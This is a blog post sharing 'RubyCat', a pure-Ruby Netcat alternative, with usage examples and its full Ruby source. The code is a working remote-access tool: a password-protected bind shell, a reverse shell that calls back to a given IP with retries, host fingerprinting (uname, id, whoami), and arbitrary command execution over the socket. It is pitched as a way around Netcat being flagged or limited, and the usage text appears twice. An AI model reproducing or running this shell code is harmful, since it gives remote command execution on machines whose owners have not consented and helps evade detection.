Posted by
2153216126
RubyCat - A Pure Ruby NetCat Alternative
It's been a while and one of the last things I posted was about me off having fun with learning Ruby, so I thought I might share one of the more useful pieces of code I was able to come up with. I mashed up my reverse shell, my bind shell, and simple sockets connector and listener and came up with a simple to use script to simulate most of the basic or common tasks one might use Netcat for. As you know Netcat is often limited, flagged, or compiled without the -e GAPING_SECURITY_HOLE enabled which can make life hard on us as testers. This is one more thing you can add to the old bag of tricks to wiggle out of such situations if Ruby is available to you. It uses all standard libs so should work on any system with relatively recent ruby version installed, although I honestly have not widely tested it out yet so perhaps you can share your feedback with me to help improve a little. Some quick examples to highlight basic usage....
Open a listener on local machine using port 31337 and catch a reverse shell from somewhere:
COMMAND: ./rubycat.rb -l -p 31337
Connect to a Bind Shell you have waiting somewhere else:
COMMAND: ./rubycat.rb -c -i 127.0.0.1 -p 5151
Launch a Bind Command Shell on localhost on port 31337 with password (default password is 'knock-knock'):
COMMAND: ./rubycat.rb -b -p 31337 -P s3cr3tp@ss
NOTE: If you enter the wrong pass, it will print funny message then go silent. You have to re-connect to try and login again.
Launch a Command Reverse Shell to provided IP and Port:
COMMAND: ./rubycat.rb -r -i 127.0.0.1 -p 31337
The 328 lines of Ruby which make it all possible: LINK
Hope this is useful to someone out there....
Until next time, Enjoy!
Open a listener on local machine using port 31337 and catch a reverse shell from somewhere:
COMMAND: ./rubycat.rb -l -p 31337
Connect to a Bind Shell you have waiting somewhere else:
COMMAND: ./rubycat.rb -c -i 127.0.0.1 -p 5151
Launch a Bind Command Shell on localhost on port 31337 with password (default password is 'knock-knock'):
COMMAND: ./rubycat.rb -b -p 31337 -P s3cr3tp@ss
NOTE: If you enter the wrong pass, it will print funny message then go silent. You have to re-connect to try and login again.
Launch a Command Reverse Shell to provided IP and Port:
COMMAND: ./rubycat.rb -r -i 127.0.0.1 -p 31337
The 328 lines of Ruby which make it all possible: LINK
- #!/usr/bin/env ruby
- #
- # RubyCat - A pure Ruby NetCat alternative
- # By: Hood3dRob1n
- #
- require 'optparse'
- trap("SIGINT") {puts "\n\nWARNING! CTRL+C Detected! Closing Socket Connection(s) and Shutting down....."; exit 666;}
- def banner
- puts
- puts "RubyCat - A pure Ruby NetCat alternative"
- end
- def cls
- if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i
- system('cls')
- else
- system('clear')
- end
- end
- def randz
- (0...1).map{ ('0'..'3').to_a[rand(4)] }.join
- end
- class RubyCat
- def initialize
- require 'ostruct'
- require 'socket'
- require 'open3'
- end
- # Simple NetCat Type Functionality
- def listener(port=31337, ip=nil)
- # It is all in how we define our socket
- # Spawn a server or connect to one....
- if ip.nil?
- server = TCPServer.new(port)
- server.listen(1)
- @socket = server.accept
- else
- @socket = TCPSocket.open(ip, port)
- end
- # Actual Socket Handling
- while(true)
- if(IO.select([],[],[@socket, STDIN],0))
- socket.close
- return
- end
- begin
- while( (data = @socket.recv_nonblock(100)) != "")
- STDOUT.write(data);
- end
- break
- rescue Errno::EAGAIN
- end
- begin
- while( (data = STDIN.read_nonblock(100)) != "")
- @socket.write(data);
- end
- break
- rescue Errno::EAGAIN
- rescue EOFError
- break
- end
- IO.select([@socket, STDIN], [@socket, STDIN], [@socket, STDIN])
- end
- end
- # Ruby Bind Command Shell
- # Password Required to Access, default: knock-knock
- # Send Password as first send when connecting or get rejected!
- def bind_shell(port=31337, password='knock-knock')
- # Messages for those who visit but don't have proper pass
- @greetz=["Piss Off!", "Grumble, Grumble......?", "Run along now, nothing to see here.....", "Who's There?"]
- # The number over loop is the port number the shell listens on.
- Socket.tcp_server_loop("#{port}") do |socket, client_addrinfo|
- command = socket.gets.chomp
- if command.downcase == password
- socket.puts "\nYou've Been Authenticated!\n"
- socket.puts "This Bind connection brought to you by a little Ruby Magic xD\n"
- socket.puts "Type 'EXIT' or 'QUIT' to exit shell & keep port listening..."
- socket.puts "Type 'KILL' or 'CLOSE' to close listenr for good!\n\n"
- socket.puts "Server Info: "
- begin
- if RUBY_PLATFORM =~/win32|win64|\.NET|windows|cygwin|mingw32/i
- count=0
- while count.to_i < 3
- if count.to_i == 0
- command="echo Winblows"
- socket.print "BUILD: "
- elsif count.to_i == 1
- command="whoami"
- socket.print "ID: "
- elsif count.to_i == 2
- command="chdir"
- socket.print "PWD: "
- end
- count = count.to_i + 1
- Open3.popen2e("#{command}") do | stdin, stdothers |
- IO.copy_stream(stdothers, socket)
- end
- end
- else
- count=0
- while count.to_i < 3
- if count.to_i == 0
- command="uname -a"
- socket.print "BUILD: \n"
- elsif count.to_i == 1
- command="id"
- socket.print "ID: "
- elsif count.to_i == 2
- command="pwd"
- socket.print "PWD: "
- end
- count = count.to_i + 1
- Open3.popen2e("#{command}") do | stdin, stdothers |
- IO.copy_stream(stdothers, socket)
- end
- end
- end
- # Then we drop to sudo shell :)
- while(true)
- socket.print "\n(RubyCat)> "
- command = socket.gets.chomp
- if command.downcase == 'exit' or command.downcase =='quit'
- socket.puts "\ngot r00t?\n\n"
- break # Close Temporarily Since they asked nicely
- end
- if command.downcase == 'kill' or command.downcase =='close'
- socket.puts "\ngot r00t?\n\n"
- exit # Exit Completely when asked nicely :p
- end
- # Use open3 to execute commands as we read and write through socket connection
- Open3.popen2e("#{command}") do | stdin, stdothers |
- IO.copy_stream(stdothers, socket)
- end
- end
- rescue
- socket.write "Command or file not found!\n"
- socket.write "Type EXIT or QUIT to close the session.\n"
- socket.write "Type KILL or CLOSE to kill the shell completely.\n"
- socket.write "\n\n"
- retry
- ensure
- @cleared=0
- socket.close
- end
- else
- num=randz
- socket.puts @greetz[num.to_i]
- end
- end
- end
- # Ruby Reverse Command Shell
- def reverse_shell(ip='127.0.0.1', port=31337, retries='5')
- while retries.to_i > 0
- begin
- socket = TCPSocket.new "#{ip}", "#{port}"
- break
- rescue
- # If we fail to connect, wait a few and try again
- sleep 10
- retries = retries.to_i - 1
- retry
- end
- end
- # Run commands with output sent to stdout and stderr
- begin
- socket.puts "This Reverse connection brought to you by a little Ruby Magic xD\n\n"
- socket.puts "Server Info:"
- # First we scrape some basic info....
- if RUBY_PLATFORM =~/win32|win64|\.NET|windows|cygwin|mingw32/i
- count=0
- while count.to_i < 3
- if count.to_i == 0
- command="echo Winblows"
- socket.print "BUILD: \n"
- elsif count.to_i == 1
- command="whoami"
- socket.print "ID: "
- elsif count.to_i == 2
- command="chdir"
- socket.print "PWD: "
- end
- count = count.to_i + 1
- # Open3 to exec
- Open3.popen2e("#{command}") do | stdin, stdothers |
- IO.copy_stream(stdothers, socket)
- end
- end
- else
- count=0
- while count.to_i < 3
- if count.to_i == 0
- command="uname -a"
- socket.print "BUILD: \n"
- elsif count.to_i == 1
- command="id"
- socket.print "ID: "
- elsif count.to_i == 2
- command="pwd"
- socket.print "PWD: "
- end
- count = count.to_i + 1
- # Oen3 to exec
- Open3.popen2e("#{command}") do | stdin, stdothers |
- IO.copy_stream(stdothers, socket)
- end
- end
- end
- # Now we drop to Pseudo shell :)
- while(true)
- socket.print "\n(RubyCat)> "
- command = socket.gets.chomp
- if command.downcase == 'exit' or command.downcase == 'quit'
- socket.puts "\nOK, closing connection....\n"
- socket.puts "\ngot r00t?\n\n"
- break # Exit when asked nicely :p
- end
- # Open3 to exec
- Open3.popen2e("#{command}") do | stdin, stdothers |
- IO.copy_stream(stdothers, socket)
- end
- end
- rescue
- # If we fail for some reason, try again
- retry
- end
- end
- end
- # Main --
- options = {}
- optparse = OptionParser.new do |opts|
- opts.banner = "Usage: #{$0} [OPTIONS]"
- opts.separator ""
- opts.separator "EX: #{$0} -l -p 31337"
- opts.separator "EX: #{$0} -b -p 31337"
- opts.separator "EX: #{$0} -b -p 31337 -P knock-knock"
- opts.separator "EX: #{$0} -r -i 10.10.10.10 -p 31337"
- opts.separator ""
- opts.separator "Options: "
- opts.on('-c', '--connect', "\n\tSimple Connector") do |mode|
- options[:method] = 0
- end
- opts.on('-l', '--listen', "\n\tSetup Listener") do |mode|
- options[:method] = 1
- end
- opts.on('-b', '--bind', "\n\tSetup Bind Shell") do |mode|
- options[:method] = 2
- end
- opts.on('-r', '--reverse', "\n\tSetup Reverse Shell") do |mode|
- options[:method] = 3
- end
- opts.on('-i', '--ip IP', "\n\tIP for Reverse Shell Connection") do|ip|
- options[:ip] = ip.chomp
- end
- opts.on('-p', '--port PORT', "\n\tPort to Use for Connection") do|port|
- options[:port] = port.to_i
- end
- opts.on('-P', '--pass PASS', "\n\tPassword for Bind Shell") do|pass|
- options[:pass] = pass
- end
- opts.on('-h', '--help', "\n\tHelp Menu") do
- cls
- banner
- puts
- puts opts
- puts
- exit 69;
- end
- end
- begin
- foo = ARGV[0] || ARGV[0] = "-h"
- optparse.parse!
- if options[:method].to_i == 3 or options[:method].to_i == 0
- mandatory = [:method,:port,:ip]
- else
- mandatory = [:method,:port]
- end
- missing = mandatory.select{ |param| options[param].nil? }
- if not missing.empty?
- cls
- banner
- puts
- puts "Missing options: #{missing.join(', ')}"
- puts optparse
- exit 666;
- end
- rescue OptionParser::InvalidOption, OptionParser::MissingArgument
- cls
- banner
- puts
- puts $!.to_s
- puts
- puts optparse
- puts
- exit 666;
- end
- banner
- rc = RubyCat.new
- case options[:method].to_i
- when 0
- puts "Trying to establish connection to #{options[:ip]} on port #{options[:port]}...."
- rc.listener(options[:port].to_i, options[:ip])
- when 1
- puts "Setting up Listener on port #{options[:port]}...."
- rc.listener(options[:port].to_i)
- when 2
- puts "Setting up Bind Shell on port #{options[:port]}...."
- if options[:pass].nil?
- rc.bind_shell(options[:port].to_i)
- else
- rc.bind_shell(options[:port].to_i, options[:pass].to_s)
- end
- when 3
- puts "Setting up Reverse Shell Connection to #{options[:ip]} on port #{options[:port]}...."
- rc.reverse_shell(options[:ip], options[:port].to_i)
- end
- #EOF
Until next time, Enjoy!
Comments
Post a Comment